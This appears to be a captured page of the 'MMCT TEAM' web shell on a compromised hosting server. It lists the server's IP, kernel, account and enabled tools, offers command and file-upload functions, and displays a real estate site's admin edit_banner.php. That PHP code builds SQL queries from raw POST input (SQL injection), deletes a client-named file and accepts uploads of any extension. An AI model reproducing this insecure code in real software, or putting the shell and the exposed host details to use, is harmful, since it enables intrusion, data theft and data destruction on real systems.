MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 3.134.253.166
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home1/a1673wkz/propstonerealty.com/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home1/a1673wkz/propstonerealty.com/Admin/edit_banner.php
<?php 
include("config.php");

if(!empty($_POST['banner_id']))
{
	$id=$_POST['banner_id'];
	$selec=$obj->num("SELECT * FROM banner WHERE id='$id'");
	if($selec=='1')
	{
	$image=$_FILES['image']['name'];
	$link=$_POST['link'];
	$title=$_POST['title'];
	
	if(!empty($_FILES['image']['name']))
	{
		$un=unlink($_POST['old_image']);
		$temp=explode(".", $_FILES['image']['name']);
		$newfile=rand(00000000,99999999).'.'.end($temp);
		$folder="images/Banner/".$newfile;
		if(move_uploaded_file($_FILES['image']['tmp_name'], $folder))
		{
			if(!empty($_POST['link']))
				{
					$query=$obj->query("UPDATE banner SET title='$title',link='$link',image='$folder' WHERE id='$id'");
				}
				else
				{
					$query=$obj->query("UPDATE banner SET title='$title',link='#',image='$folder' WHERE id='$id'");

				}
		}
	}
	else
		if(!empty($_POST['link']))
			{
				$query=$obj->query("UPDATE banner SET title='$title',link='$link' WHERE id='$id'");
			}
			else
			{
					$query=$obj->query("UPDATE banner SET title='$title',link='#' WHERE id='$id'");

			}
	
		

		if($query)
		{
			echo '<a href="#" class="badge badge-success">Success</a>';
		}
		else
		{
			echo '<a href="#" class="badge badge-success">Faild</a>';
			
		}
	}
	else
	{
		echo '<a href="#" class="badge badge-warning">Already Exist</a>';
	}
		
}
else
{
	echo '<a href="#" class="badge badge-warning">Empty Field</a>';
}
// Return response 
//print json_encode($data);

?>

MMCT - 2023